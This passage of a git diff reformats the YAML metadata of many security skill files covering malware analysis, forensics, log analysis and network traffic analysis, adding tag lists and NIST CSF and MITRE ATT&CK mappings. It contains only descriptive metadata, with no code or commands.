+- ios
+- objection
+- frida
+- owasp-mobile
+- penetration-testing
 version: 1.0.0
 license: Apache-2.0
+atlas_techniques:
+- AML.T0054
+nist_ai_rmf:
+- MEASURE-2.7
+- MANAGE-2.4
+- GOVERN-6.2
+- MAP-5.1
+nist_csf:
+- PR.PS-01
+- PR.AA-05
+- ID.RA-01
+- DE.CM-09
+mitre_attack:
+- T1635
+- T1414
+- T1417.001
+- T1409
 ---
 # Analyzing iOS App Security with Objection
 

skills/analyzing-kubernetes-audit-logs/SKILL.md

@@ -1,16 +1,38 @@
 ---
 name: analyzing-kubernetes-audit-logs
-description: >
-  Parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret
-  access, RBAC modifications, privileged pod creation, and anonymous API access. Builds
-  threat detection rules from audit event patterns. Use when investigating Kubernetes
-  cluster compromise or building k8s-specific SIEM detection rules.
+description: >-
+  Parses Kubernetes API server audit logs (JSON lines) to detect exec-into-pod, secret access,
+  RBAC modifications, privileged pod creation, and anonymous API access, and builds SIEM
+  detection rules from the event patterns. Use when investigating a suspected cluster
+  compromise, reconstructing what an attacker did through the API server, or writing
+  Kubernetes-specific detection content. Keywords: audit policy, audit log, kube-apiserver,
+  exec into pod, RBAC change, anonymous access, detection rules. Do not use for syscall-level
+  detection inside a running container - use detecting-container-runtime-threats-with-falco.
+
+  '
 domain: cybersecurity
 subdomain: container-security
-tags: [analyzing, kubernetes, audit, logs]
-version: "1.0"
+tags:
+- kubernetes-security
+- container-security
+- audit-log-analysis
+- rbac
+- privilege-escalation
+- k8s-api-server
+- threat-detection
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.PS-01
+- PR.IR-01
+- ID.AM-08
+- DE.CM-01
+mitre_attack:
+- T1610
+- T1613
+- T1078
+- T1552.007
 ---
 
 # Analyzing Kubernetes Audit Logs

skills/analyzing-linux-audit-logs-for-intrusion/SKILL.md

@@ -1,18 +1,36 @@
 ---
 name: analyzing-linux-audit-logs-for-intrusion
-description: >
-  Uses the Linux Audit framework (auditd) with ausearch and aureport utilities
-  to detect intrusion attempts, unauthorized access, privilege escalation, and
-  suspicious system activity. Covers audit rule configuration, log querying,
-  timeline reconstruction, and integration with SIEM platforms. Activates for
-  requests involving auditd analysis, Linux audit log investigation, ausearch
-  queries, aureport summaries, or host-based intrusion detection on Linux.
+description: 'Uses the Linux Audit framework (auditd) with ausearch and aureport utilities
+  to detect intrusion attempts, unauthorized access, privilege escalation, and suspicious
+  system activity. Covers audit rule configuration, log querying, timeline reconstruction,
+  and integration with SIEM platforms. Activates for requests involving auditd analysis,
+  Linux audit log investigation, ausearch queries, aureport summaries, or host-based
+  intrusion detection on Linux.
+
+  '
 domain: cybersecurity
 subdomain: incident-response
-tags: [auditd, ausearch, aureport, linux-security, intrusion-detection, HIDS, forensics]
+tags:
+- auditd
+- ausearch
+- aureport
+- linux-security
+- intrusion-detection
+- HIDS
+- forensics
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.MA-01
+- RS.MA-02
+- RS.AN-03
+- RC.RP-01
+mitre_attack:
+- T1059.004
+- T1070
+- T1548.003
+- T1543.002
 ---
 
 # Analyzing Linux Audit Logs for Intrusion

skills/analyzing-linux-elf-malware/SKILL.md

@@ -1,17 +1,56 @@
 ---
 name: analyzing-linux-elf-malware
-description: >
-  Analyzes malicious Linux ELF (Executable and Linkable Format) binaries including botnets,
-  cryptominers, ransomware, and rootkits targeting Linux servers, containers, and cloud
-  infrastructure. Covers static analysis, dynamic tracing, and reverse engineering of
-  x86_64 and ARM ELF samples. Activates for requests involving Linux malware analysis,
-  ELF binary investigation, Linux server compromise assessment, or container malware analysis.
+description: 'Analyze malicious Linux ELF binaries — botnets, cryptominers, ransomware,
+  and rootkits targeting Linux servers, containers, and cloud infrastructure — through
+  static analysis, dynamic tracing, and reverse engineering of x86_64 and ARM samples.
+  Use when investigating Linux malware, triaging a suspicious ELF binary, assessing
+  a compromised Linux server, or analyzing container-targeted malware.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, Linux, ELF, reverse-engineering, server-malware]
+tags:
+- malware
+- Linux
+- ELF
+- reverse-engineering
+- server-malware
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1027
+- T1059.004
+- T1620
+- T1574.006
+mitre_f3:
+  version: '1.1'
+  tactics:
+  - positioning
+  - monetization
+  - reconnaissance
+  techniques:
+  - id: T1219
+    name: Remote Access Tools
+    tactic: positioning
+    source: attack
+  - id: T1555
+    name: Credentials from Password Stores
+    tactic: reconnaissance
+    source: attack
+  - id: F1018
+    name: Convert to Cryptocurrency
+    tactic: monetization
+    source: f3
+  - id: F1047
+    name: Transfer of funds
+    tactic: monetization
+    source: f3
 ---
 
 # Analyzing Linux ELF Malware

skills/analyzing-linux-kernel-rootkits/SKILL.md

@@ -1,12 +1,31 @@
 ---
 name: analyzing-linux-kernel-rootkits
-description: Detect kernel-level rootkits in Linux memory dumps using Volatility3 linux plugins (check_syscall, lsmod, hidden_modules), rkhunter system scanning, and /proc vs /sys discrepancy analysis to identify hooked syscalls, hidden kernel modules, and tampered system structures.
+description: Detect kernel-level rootkits in Linux memory dumps using Volatility3
+  linux plugins (check_syscall, lsmod, hidden_modules), rkhunter system scanning,
+  and /proc vs /sys discrepancy analysis to identify hooked syscalls, hidden kernel
+  modules, and tampered system structures.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [rootkit, linux, kernel, volatility3, memory-forensics, malware-analysis, rkhunter, forensics]
-version: "1.0"
+tags:
+- rootkit
+- linux
+- kernel
+- volatility3
+- memory-forensics
+- malware-analysis
+- rkhunter
+- forensics
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1014
+- T1547.006
+- T1564.001
 ---
 
 # Analyzing Linux Kernel Rootkits

skills/analyzing-linux-system-artifacts/SKILL.md

@@ -1,12 +1,31 @@
 ---
 name: analyzing-linux-system-artifacts
-description: Examine Linux system artifacts including auth logs, cron jobs, shell history, and system configuration to uncover evidence of compromise or unauthorized activity.
+description: Examine Linux system artifacts (auth logs, cron/systemd persistence,
+  shell history, SSH keys, and system configuration) to uncover evidence of compromise,
+  detect rootkits or backdoors, and reconstruct user/attacker activity. Use when
+  investigating a compromised Linux server or workstation, hunting for persistence
+  mechanisms, or scoping a Linux-based breach during incident response.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [forensics, linux-forensics, system-artifacts, log-analysis, persistence-detection, incident-investigation]
-version: "1.0"
+tags:
+- forensics
+- linux-forensics
+- system-artifacts
+- log-analysis
+- persistence-detection
+- incident-investigation
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1070
+- T1059.004
+- T1543.002
+- T1053.003
 ---
 
 # Analyzing Linux System Artifacts

skills/analyzing-lnk-file-and-jump-list-artifacts/SKILL.md

@@ -1,12 +1,35 @@
 ---
 name: analyzing-lnk-file-and-jump-list-artifacts
-description: Analyze Windows LNK shortcut files and Jump List artifacts to establish evidence of file access, program execution, and user activity using LECmd, JLECmd, and manual binary parsing of the Shell Link Binary format.
+description: Analyze Windows LNK shortcut files and Jump List artifacts with LECmd,
+  JLECmd, and manual Shell Link Binary Format parsing to establish evidence of file
+  access, program execution, and user activity that persists even after the target
+  file is deleted. Use when investigating Windows user activity, reconstructing file-access
+  or program-execution timelines, or examining recent/frequently-used file evidence
+  in a forensic exam.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [lnk-files, jump-lists, lecmd, jlecmd, windows-forensics, shell-link, user-activity, file-access, program-execution, recent-files]
-version: "1.0"
+tags:
+- lnk-files
+- jump-lists
+- lecmd
+- jlecmd
+- windows-forensics
+- shell-link
+- user-activity
+- file-access
+- program-execution
+- recent-files
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1547.009
+- T1204.002
+- T1059.001
 ---
 
 # Analyzing LNK File and Jump List Artifacts

skills/analyzing-macro-malware-in-office-documents/SKILL.md

@@ -1,17 +1,42 @@
 ---
 name: analyzing-macro-malware-in-office-documents
-description: >
-  Analyzes malicious VBA macros embedded in Microsoft Office documents (Word, Excel, PowerPoint)
-  to identify download cradles, payload execution, persistence mechanisms, and anti-analysis
-  techniques. Uses olevba, oledump, and VBA deobfuscation to extract the attack chain.
-  Activates for requests involving Office macro analysis, VBA malware investigation,
-  maldoc analysis, or document-based threat examination.
+description: 'Analyzes malicious VBA macros embedded in Microsoft Office documents
+  (Word, Excel, PowerPoint) to identify download cradles, payload execution, persistence
+  mechanisms, and anti-analysis techniques. Uses olevba, oledump, and VBA deobfuscation
+  to extract the attack chain. Activates for requests involving Office macro analysis,
+  VBA malware investigation, maldoc analysis, or document-based threat examination.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, macro, Office, VBA, document-malware]
+tags:
+- malware
+- macro
+- Office
+- VBA
+- document-malware
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0068
+- AML.T0067
+d3fend_techniques:
+- File Metadata Consistency Validation
+- Application Protocol Command Analysis
+- Identifier Analysis
+- Content Format Conversion
+- Message Analysis
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1137.001
+- T1204.002
+- T1059.005
+- T1027
 ---
 
 # Analyzing Macro Malware in Office Documents

skills/analyzing-malicious-pdf-with-peepdf/SKILL.md

@@ -1,12 +1,34 @@
 ---
 name: analyzing-malicious-pdf-with-peepdf
-description: Perform static analysis of malicious PDF documents using peepdf, pdfid, and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects.
+description: Perform static analysis of malicious PDF documents using peepdf, pdfid,
+  and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects.
+  Use when triaging a suspicious PDF attachment from a phishing email, analyzing a
+  PDF-based exploit document, or building detection signatures for weaponized PDF
+  threats.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware-analysis, pdf, peepdf, pdfid, pdf-parser, static-analysis, reverse-engineering, dfir]
-version: "1.0"
+tags:
+- malware-analysis
+- pdf
+- peepdf
+- pdfid
+- pdf-parser
+- static-analysis
+- reverse-engineering
+- dfir
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1204.002
+- T1059.007
+- T1027
+- T1106
 ---
 
 # Analyzing Malicious PDF with peepdf

skills/analyzing-malicious-url-with-urlscan/SKILL.md

@@ -1,12 +1,32 @@
 ---
 name: analyzing-malicious-url-with-urlscan
-description: URLScan.io is a free service for scanning and analyzing suspicious URLs. It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and network connections of web pages in an isolat
+description: URLScan.io is a free service for scanning and analyzing suspicious URLs.
+  It captures screenshots, DOM content, HTTP transactions, JavaScript behavior, and
+  network connections of web pages in an isolat
 domain: cybersecurity
 subdomain: phishing-defense
-tags: [phishing, email-security, social-engineering, dmarc, awareness, url-analysis, threat-intelligence]
-version: "1.0"
+tags:
+- phishing
+- email-security
+- social-engineering
+- dmarc
+- awareness
+- url-analysis
+- threat-intelligence
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+atlas_techniques:
+- AML.T0052
+nist_csf:
+- PR.AT-01
+- DE.CM-09
+- RS.CO-02
+- DE.AE-02
+mitre_attack:
+- T1566.002
+- T1204.001
+- T1598.003
 ---
 # Analyzing Malicious URL with URLScan
 

skills/analyzing-malware-behavior-with-cuckoo-sandbox/SKILL.md

@@ -1,17 +1,34 @@
 ---
 name: analyzing-malware-behavior-with-cuckoo-sandbox
-description: >
-  Executes malware samples in Cuckoo Sandbox to observe runtime behavior including
-  process creation, file system modifications, registry changes, network communications,
-  and API calls. Generates comprehensive behavioral reports for malware classification
-  and IOC extraction. Activates for requests involving dynamic malware analysis, sandbox
-  detonation, behavioral analysis, or automated malware execution.
+description: 'Detonate malware samples in Cuckoo Sandbox to observe runtime behavior
+  — process creation, file system and registry changes, network communications,
+  and API calls — and generate behavioral reports for classification and IOC extraction.
+  Use when a sample has passed static triage and needs dynamic/behavioral analysis,
+  when mapping a full infection chain, or when building YARA/behavioral signatures
+  from observed sandbox activity.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, dynamic-analysis, sandbox, Cuckoo, behavioral-analysis]
+tags:
+- malware
+- dynamic-analysis
+- sandbox
+- Cuckoo
+- behavioral-analysis
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1497
+- T1055
+- T1071
+- T1027
 ---
 
 # Analyzing Malware Behavior with Cuckoo Sandbox

skills/analyzing-malware-family-relationships-with-malpedia/SKILL.md

@@ -1,12 +1,33 @@
 ---
 name: analyzing-malware-family-relationships-with-malpedia
-description: Use the Malpedia platform and API to research malware family relationships, track variant evolution, link families to threat actors, and integrate YARA rules for detection across malware lineages.
+description: Query the Malpedia API to look up malware family aliases and naming
+  (platform.family_name), pull community/vendor YARA rules, link families to threat
+  actors, and map family relationships such as loader-payload chains and shared authorship.
+  Use when researching a malware family's aliases, lineage, or actor attribution,
+  or when sourcing YARA rules for detection.
 domain: cybersecurity
 subdomain: threat-intelligence
-tags: [malpedia, malware-family, yara, threat-actor, malware-tracking, threat-intelligence, variant-analysis, malware-intelligence]
-version: "1.0"
+tags:
+- malpedia
+- malware-family
+- yara
+- threat-actor
+- malware-tracking
+- threat-intelligence
+- variant-analysis
+- malware-intelligence
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- ID.RA-01
+- ID.RA-05
+- DE.CM-01
+- DE.AE-02
+mitre_attack:
+- T1587.001
+- T1027
+- T1071
 ---
 # Analyzing Malware Family Relationships with Malpedia
 

skills/analyzing-malware-persistence-with-autoruns/SKILL.md

@@ -1,13 +1,41 @@
 ---
 name: analyzing-malware-persistence-with-autoruns
-description: Use Sysinternals Autoruns to systematically identify and analyze malware persistence mechanisms across registry keys, scheduled tasks, services, drivers, and startup locations on Windows systems.
+description: Use Sysinternals Autoruns to systematically enumerate and analyze malware
+  persistence mechanisms across Windows registry run keys, scheduled tasks, services,
+  drivers, and startup locations. Use when hunting for persistence during Windows
+  incident response, triaging a compromised endpoint, or validating that malware
+  autostart entries have been fully identified and removed.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [autoruns, persistence, malware-analysis, sysinternals, windows, registry, startup, incident-response]
-mitre_attack: ["T1547", "T1053", "T1543", "T1546"]
-version: "1.0"
+tags:
+- autoruns
+- persistence
+- malware-analysis
+- sysinternals
+- windows
+- registry
+- startup
+- incident-response
+mitre_attack:
+- T1547.001
+- T1543.003
+- T1053.005
+- T1574.001
+- T1037.001
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Executable Denylisting
+- Execution Isolation
+- File Metadata Consistency Validation
+- Content Format Conversion
+- File Content Analysis
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
 ---
 # Analyzing Malware Persistence with Autoruns
 

skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md

@@ -1,19 +1,39 @@
 ---
 name: analyzing-malware-sandbox-evasion-techniques
-description: Detect sandbox evasion techniques in malware samples by analyzing timing checks, VM artifact queries, user interaction detection, and sleep inflation patterns from Cuckoo/AnyRun behavioral reports
+description: Detect sandbox and VM evasion techniques in malware samples by analyzing
+  timing checks, VM/hypervisor artifact queries, user-interaction checks, and sleep-inflation
+  patterns from Cuckoo or AnyRun behavioral reports. Use when a sample shows no or
+  minimal activity in a sandbox, when a behavioral report needs review for evasion
+  indicators, or when building detections for anti-analysis techniques.
 domain: cybersecurity
 subdomain: malware-analysis
 tags:
-  - sandbox-evasion
-  - malware-analysis
-  - cuckoo
-  - anyrun
-  - mitre-attack
-  - virtualization-detection
-  - behavioral-analysis
-version: "1.0"
+- sandbox-evasion
+- malware-analysis
+- cuckoo
+- anyrun
+- mitre-attack
+- virtualization-detection
+- behavioral-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- Platform Hardening
+- Restore Object
+- Process Analysis
+- System Call Filtering
+- Restore Software
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1497.001
+- T1497.003
+- T1480
+- T1027.002
 ---
 
 # Analyzing Malware Sandbox Evasion Techniques

skills/analyzing-memory-dumps-with-volatility/SKILL.md

@@ -1,18 +1,32 @@
 ---
 name: analyzing-memory-dumps-with-volatility
-description: >
-  Analyzes RAM memory dumps from compromised systems using the Volatility framework to
-  identify malicious processes, injected code, network connections, loaded modules, and
-  extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates
-  for requests involving memory forensics, RAM analysis, volatile data examination,
-  process injection detection, or memory-resident malware investigation.
+description: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,
+  injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory
+  forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection
+  detection, or memory-resident malware investigation.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, memory-forensics, Volatility, RAM-analysis, incident-response]
-mitre_attack: ["T1055", "T1003", "T1059", "T1620"]
+tags:
+- malware
+- memory-forensics
+- Volatility
+- RAM-analysis
+- incident-response
+mitre_attack:
+- T1055
+- T1003
+- T1059
+- T1620
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
 ---
 
 # Analyzing Memory Dumps with Volatility

skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md

@@ -1,16 +1,34 @@
 ---
 name: analyzing-memory-forensics-with-lime-and-volatility
-description: >
-  Performs Linux memory acquisition using LiME (Linux Memory Extractor) kernel module
-  and analysis with Volatility 3 framework. Extracts process lists, network connections,
-  bash history, loaded kernel modules, and injected code from Linux memory images.
-  Use when performing incident response on compromised Linux systems.
+description: 'Performs Linux memory acquisition using LiME (Linux Memory Extractor)
+  kernel module and analysis with Volatility 3 framework. Extracts process lists,
+  network connections, bash history, loaded kernel modules, and injected code from
+  Linux memory images. Use when performing incident response on compromised Linux
+  systems.
+
+  '
 domain: cybersecurity
 subdomain: security-operations
-tags: [analyzing, memory, forensics, with]
-version: "1.0"
+tags:
+- memory-forensics
+- linux-forensics
+- lime
+- volatility
+- incident-response
+- kernel-modules
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.CM-01
+- RS.MA-01
+- GV.OV-01
+- DE.AE-02
+mitre_attack:
+- T1055
+- T1003.001
+- T1620
+- T1564.001
 ---
 
 # Analyzing Memory Forensics with LiME and Volatility

skills/analyzing-mft-for-deleted-file-recovery/SKILL.md

@@ -1,12 +1,34 @@
 ---
 name: analyzing-mft-for-deleted-file-recovery
-description: Analyze the NTFS Master File Table ($MFT) to recover metadata and content of deleted files by examining MFT record entries, $LogFile, $UsnJrnl, and MFT slack space using MFTECmd, analyzeMFT, and X-Ways Forensics.
+description: Analyze the NTFS Master File Table ($MFT) with MFTECmd, analyzeMFT,
+  and X-Ways Forensics to recover metadata and content of deleted files by examining
+  MFT record entries, $LogFile, $UsnJrnl, and MFT slack space. Use when recovering
+  evidence of deleted files, reconstructing NTFS file-system timelines, or detecting
+  anti-forensic timestomping during a Windows forensic examination.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [mft, ntfs, deleted-files, file-recovery, mftecmd, usn-journal, logfile, mft-slack-space, file-system-forensics, dfir]
-version: "1.0"
+tags:
+- mft
+- ntfs
+- deleted-files
+- file-recovery
+- mftecmd
+- usn-journal
+- logfile
+- mft-slack-space
+- file-system-forensics
+- dfir
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1070.004
+- T1070.006
+- T1005
 ---
 
 # Analyzing MFT for Deleted File Recovery

skills/analyzing-network-covert-channels-in-malware/SKILL.md

@@ -1,12 +1,39 @@
 ---
 name: analyzing-network-covert-channels-in-malware
-description: Detect and analyze covert communication channels used by malware including DNS tunneling, ICMP exfiltration, steganographic HTTP, and protocol abuse for C2 and data exfiltration.
+description: Detect and analyze covert communication channels used by malware, including
+  DNS tunneling, ICMP exfiltration, steganographic HTTP, and other protocol abuse
+  used for C2 and data exfiltration. Use when investigating suspicious DNS/ICMP/HTTP
+  traffic patterns, hunting for hidden C2 channels in network captures, or attributing
+  exfiltration traffic to a known tunneling toolset.
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [covert-channels, dns-tunneling, icmp-exfiltration, malware-analysis, network-forensics, c2-detection, data-exfiltration]
-version: "1.0"
+tags:
+- covert-channels
+- dns-tunneling
+- icmp-exfiltration
+- malware-analysis
+- network-forensics
+- c2-detection
+- data-exfiltration
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+d3fend_techniques:
+- File Metadata Consistency Validation
+- Certificate Analysis
+- Application Protocol Command Analysis
+- Content Format Conversion
+- File Content Analysis
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1071.001
+- T1095
+- T1572
+- T1001
 ---
 # Analyzing Network Covert Channels in Malware
 

skills/analyzing-network-flow-data-with-netflow/SKILL.md

@@ -1,16 +1,30 @@
 ---
 name: analyzing-network-flow-data-with-netflow
-description: >-
-  Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port scanning, data
-  exfiltration, and C2 beaconing patterns. Uses the Python netflow library to decode flow
-  records, builds traffic baselines, and applies statistical analysis to identify flows
-  with abnormal byte counts, connection durations, and periodic timing patterns.
+description: Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port
+  scanning, data exfiltration, and C2 beaconing patterns. Uses the Python netflow
+  library to decode flow records, builds traffic baselines, and applies statistical
+  analysis to identify flows with abnormal byte counts, connection durations, and
+  periodic timing patterns.
 domain: cybersecurity
 subdomain: network-security
-tags: [analyzing, network, flow, data]
-version: "1.0"
+tags:
+- analyzing
+- network
+- flow
+- data
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.IR-01
+- DE.CM-01
+- ID.AM-03
+- PR.DS-02
+mitre_attack:
+- T1071
+- T1048
+- T1046
+- T1095
 ---
 
 

skills/analyzing-network-packets-with-scapy/SKILL.md

@@ -1,18 +1,28 @@
 ---
 name: analyzing-network-packets-with-scapy
-description: Craft, send, sniff, and dissect network packets using Scapy for protocol analysis, network reconnaissance, and traffic anomaly detection in authorized security testing
+description: Use Scapy to craft, send, sniff, and dissect TCP/UDP/ICMP/DNS packets, analyze pcap files, implement SYN scans, and detect anomalous traffic such as fragmented or malformed packets. Use when performing authorized network reconnaissance, protocol-level forensic analysis, or building traffic anomaly detection during security testing.
 domain: cybersecurity
 subdomain: network-security
 tags:
-  - scapy
-  - packet-analysis
-  - network-forensics
-  - protocol-dissection
-  - pcap
-  - traffic-analysis
-version: "1.0"
+- scapy
+- packet-analysis
+- network-forensics
+- protocol-dissection
+- pcap
+- traffic-analysis
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.IR-01
+- DE.CM-01
+- ID.AM-03
+- PR.DS-02
+mitre_attack:
+- T1040
+- T1071
+- T1046
+- T1557
 ---
 
 # Analyzing Network Packets with Scapy

skills/analyzing-network-traffic-for-incidents/SKILL.md

@@ -1,19 +1,32 @@
 ---
 name: analyzing-network-traffic-for-incidents
-description: >
-  Analyzes network traffic captures and flow data to identify adversary activity during
-  security incidents, including command-and-control communications, lateral movement,
-  data exfiltration, and exploitation attempts. Uses Wireshark, Zeek, and NetFlow
-  analysis techniques. Activates for requests involving network traffic analysis,
-  packet capture investigation, PCAP analysis, network forensics, C2 traffic detection,
-  or exfiltration detection.
+description: 'Analyzes network traffic captures and flow data to identify adversary activity during security incidents, including
+  command-and-control communications, lateral movement, data exfiltration, and exploitation attempts. Uses Wireshark, Zeek,
+  and NetFlow analysis techniques. Activates for requests involving network traffic analysis, packet capture investigation,
+  PCAP analysis, network forensics, C2 traffic detection, or exfiltration detection.
+
+  '
 domain: cybersecurity
 subdomain: incident-response
-tags: [network-forensics, PCAP-analysis, Wireshark, Zeek, traffic-analysis]
-mitre_attack: ["T1071", "T1095", "T1573", "T1572"]
+tags:
+- network-forensics
+- PCAP-analysis
+- Wireshark
+- Zeek
+- traffic-analysis
+mitre_attack:
+- T1071
+- T1095
+- T1573
+- T1572
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- RS.MA-01
+- RS.MA-02
+- RS.AN-03
+- RC.RP-01
 ---
 
 # Analyzing Network Traffic for Incidents

skills/analyzing-network-traffic-of-malware/SKILL.md

@@ -1,17 +1,33 @@
 ---
 name: analyzing-network-traffic-of-malware
-description: >
-  Analyzes network traffic generated by malware during sandbox execution or live incident
-  response to identify C2 protocols, data exfiltration channels, payload downloads, and
-  lateral movement patterns using Wireshark, Zeek, and Suricata. Activates for requests
-  involving malware network analysis, C2 traffic decoding, malware PCAP analysis, or
-  network-based malware detection.
+description: 'Analyzes network traffic generated by malware during sandbox execution
+  or live incident response to identify C2 protocols, data exfiltration channels,
+  payload downloads, and lateral movement patterns using Wireshark, Zeek, and Suricata.
+  Activates for requests involving malware network analysis, C2 traffic decoding,
+  malware PCAP analysis, or network-based malware detection.
+
+  '
 domain: cybersecurity
 subdomain: malware-analysis
-tags: [malware, network-analysis, PCAP, Wireshark, C2-detection]
+tags:
+- malware
+- network-analysis
+- PCAP
+- Wireshark
+- C2-detection
 version: 1.0.0
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- DE.AE-02
+- RS.AN-03
+- ID.RA-01
+- DE.CM-01
+mitre_attack:
+- T1071.001
+- T1571
+- T1573
+- T1095
 ---
 
 # Analyzing Network Traffic of Malware

skills/analyzing-network-traffic-with-wireshark/SKILL.md

@@ -1,15 +1,31 @@
 ---
 name: analyzing-network-traffic-with-wireshark
-description: >
-  Captures and analyzes network packet data using Wireshark and tshark to identify
-  malicious traffic patterns, diagnose protocol issues, extract artifacts, and
-  support incident response investigations on authorized network segments.
+description: 'Captures and analyzes network packet data using Wireshark and tshark
+  to identify malicious traffic patterns, diagnose protocol issues, extract artifacts,
+  and support incident response investigations on authorized network segments.
+
+  '
 domain: cybersecurity
 subdomain: network-security
-tags: [network-security, wireshark, packet-analysis, traffic-analysis, pcap]
-version: "1.0"
+tags:
+- network-security
+- wireshark
+- packet-analysis
+- traffic-analysis
+- pcap
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.IR-01
+- DE.CM-01
+- ID.AM-03
+- PR.DS-02
+mitre_attack:
+- T1040
+- T1071
+- T1557
+- T1046
 ---
 # Analyzing Network Traffic with Wireshark
 

skills/analyzing-office365-audit-logs-for-compromise/SKILL.md

@@ -1,12 +1,31 @@
 ---
 name: analyzing-office365-audit-logs-for-compromise
-description: Parse Office 365 Unified Audit Logs via Microsoft Graph API to detect email forwarding rule creation, inbox delegation, suspicious OAuth app grants, and other indicators of account compromise.
+description: Parse Office 365 Unified Audit Logs via Microsoft Graph API to detect
+  email forwarding rule creation, inbox delegation, suspicious OAuth app grants, and
+  other indicators of account compromise.
 domain: cybersecurity
 subdomain: cloud-security
-tags: [Office365, Microsoft-Graph, audit-logs, email-compromise, inbox-rules, OAuth, BEC]
-version: "1.0"
+tags:
+- Office365
+- Microsoft-Graph
+- audit-logs
+- email-compromise
+- inbox-rules
+- OAuth
+- BEC
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_csf:
+- PR.IR-01
+- ID.AM-08
+- GV.SC-06
+- DE.CM-01
+mitre_attack:
+- T1114.002
+- T1098.002
+- T1556.006
+- T1078.004
 ---
 
 # Analyzing Office 365 Audit Logs for Compromise

skills/analyzing-outlook-pst-for-email-forensics/SKILL.md

@@ -1,12 +1,34 @@
 ---
 name: analyzing-outlook-pst-for-email-forensics
-description: Analyze Microsoft Outlook PST and OST files for email forensic evidence including message content, headers, attachments, deleted items, and metadata using libpff, pst-utils, and forensic email analysis tools for legal investigations and incident response.
+description: Parse Microsoft Outlook PST and OST files using libpff and pst-utils to extract message content, headers, attachments, deleted items, and MAPI metadata, including recovery of items from the Recoverable Items folder. Use when conducting email forensic investigations, legal e-discovery, or incident response that requires reconstructing communication patterns or tracing message routing from Outlook archives.
 domain: cybersecurity
 subdomain: digital-forensics
-tags: [email-forensics, pst, ost, outlook, mapi, email-headers, attachments, deleted-emails, libpff, eml-extraction]
-version: "1.0"
+tags:
+- email-forensics
+- pst
+- ost
+- outlook
+- mapi
+- email-headers
+- attachments
+- deleted-emails
+- libpff
+- eml-extraction
+version: '1.0'
 author: mahipal
 license: Apache-2.0
+nist_ai_rmf:
+- MANAGE-2.4
+- MANAGE-3.1
+- MEASURE-3.1
+nist_csf:
+- RS.AN-03
+- DE.AE-02
+- RS.MA-01
+mitre_attack:
+- T1114.001
+- T1564.008
+- T1070.008
 ---
 
 # Analyzing Outlook PST for Email Forensics

skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md

@@ -1,16 +1,28 @@
 ---
 name: analyzing-packed-malware-with-upx-unpacker
